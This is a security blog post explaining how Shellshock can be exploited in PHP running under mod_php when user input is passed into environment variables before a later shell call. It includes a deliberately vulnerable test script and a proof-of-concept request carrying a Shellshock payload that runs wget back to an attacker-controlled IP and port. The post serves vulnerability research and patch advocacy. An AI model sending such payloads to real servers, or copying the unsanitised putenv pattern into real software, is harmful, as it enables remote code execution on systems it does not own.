^{Original Shell design by Guillaume Kurkdjian 
Updated version from Fedora Magazine
Both licenced CC-BY-3.0}

I’ve seen debates as to whether or not it’s possible to have an unpatched PHP server running in mod_php mode (i.e. not CGI) that is vulnerable to Shellshock. From my testing, the answer appears to be Yes…with some prerequisite conditions.

First, the PHP application would have to be using Bash for its system commands — exec(), passthru(), system(), popen(), etc. This is pretty obvious since Shellshock is a Bash-specific vulnerability. Although PHP system command functions such as exec() will use typically use /bin/sh by default, it’s not uncommon for *NIX systems to symlink /bin/sh to /bin/bash.

Second, the application would have to set some Environment variables based on un-sanitized HTTP variables (Cookie, User-Agent, GET/POST parameters). Although setting any variable from untrusted data is bad news, in the case of Environment variables I’ve come across it several times. Consider an application that sets a default language Environment variable based on a GET parameter lang:

$lang = $_GET["lang"];
putenv("LANGUAGE=$lang");

Alternatively, this could just as easily be accomplished via a cookie parameter:

$lang = $_COOKIE["lang"]
putenv("LANGUAGE=$lang");

This could be done for any number of reasons, possibly for use by one or more functions in other components of the application.

...
$language = getenv("LANGUAGE");
if ($language == "EN") {
  // take some action related to English
} elseif ($language == "FR"){
  // take some action related to French
} else { 
  // language undeteced; take default action
}

Sure using untrusted data is bad, but before Shellshock a developer may have been thinking, “Well I don’t really execute or use the contents of this parameter beyond a simple comparison so the risk should be minimal”.

That brings me to the third condition which is that somewhere in the PHP application (after the setting of the Environment variable), there is a call to a PHP command exec function — exec(), system(), popen(), passthru(), etc. Since the application is using the Bash shell (thanks to the symlink from condition 1), the environment variables created from the unsanitized user input will be loaded and evaluated due to the parsing error of the Shellshock bug.

For example, referencing the above code, a value of EN for the environment variable LANGUAGE would be innocuous. However, a value of(){:;}; /usr/bin/wget http://{$IP}:{$PORT} would execute wget as soon as the PHP script called a system command via exec().

The interesting thing to note is that this PHP exec() call does not need to be related whatsoever to the environment variable, as long as it happens afterwards.

What makes this problem difficult to detect is that these Environment variables and subsequent system calls could happen in completely separate components of the PHP application. For example, you might have config.php that gets and sets the LANGUAGE environment variable and update.php that makes a completely unrelated system call such as $pwd = system(“pwd”);. The main PHP script could look as follows:

<?php
 include "config.php";
 include "update.php";
 
 set_config(); // call to function in config.php that sets environment variable

  /**
     a bunch of code
  **/

 update_config(); // call to a function in update.php that contains exec("pwd")
?>

This would trigger the exploit as long as that exec(“pwd”) call happens second. Consider how difficult it might be to identify these two components in a large application. In most cases, while system administrators should understand what applications are running on their respective servers, they would not likely have this detailed level of knowledge of how the code is constructed. This is why it’s important to patch affected *NIX servers as soon as possible.

It’s also a bit more difficult to confirm this vulnerability from the outside, not because it’s technically complicated but rather because it’s dependent upon both the application design and the hosting server environment. The application could set environment variables and make subsequent system calls but if those calls don’t invoke Bash, the exploit won’t be triggered. Also, determining which variables to test (GET, POST, Cookie, User-Agent, etc) can be difficult for large applications, though this can be made easier with an intercepting proxy like Burp (see my previous post here: http://www.securitysift.com/the-search-for-shellshock/).

I’ve tested this in a couple of unpatched Debian-based environments with the same successful results. If you’d like to test for yourself on an unpatched machine running Apache/PHP in  mod_php mode, here is some sample code:

<?php
  //test.php
  $language = "English";

  function getLang() {
    if (isset($_GET["lang"]) && !empty($_GET["lang"])) {
       $language = $_GET["lang"];
       echo "Detected language from URL Param<br>";
    } elseif ($_COOKIE["lang"]) {
       $language = $_COOKIE["lang"];
       echo "Detected Language from Cookie value<br>";
    } else {
       echo "Did not detect language. Using Default.";
       $language = "English";
    }
    echo "Your current language is: " . $language;
    return $language;
  }

  function setLanguage() {
    $lang = getLang();
    putenv("LANGUAGE=$lang");
  }

  setLanguage();

  $file = popen("/bin/ls", "r"); // this call triggers the vuln
  // alternatives would be any call to passthru(), exec(), or system()

?>

Again, just make sure your /bin/sh is symlinked to /bin/bash and that you’re using mod_php (the value for Server API will be “Apache 2.0 Handler” when you call phpinfo()). Once you have the script in the desired web directory, call the page and pass your test string as the value for lang, either via a GET parameter or via a Cookie value.

For example, the following URL should execute a GET call back to your machine (where $IP and $PORT correspond to your listening machine):

http://target_server/path/test.php?lang=() { :;}; /usr/bin/wget http://{$IP}:{$PORT}

You can use Wireshark to catch the wget calls. Alternatively, you could use netcat or if you want a simple listener that supports multiple connections, you can see my previous post: http://www.securitysift.com/the-search-for-shellshock/.

Here’s some more info about non-CGI PHP vulnerability: http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html

Until next time,

-Mike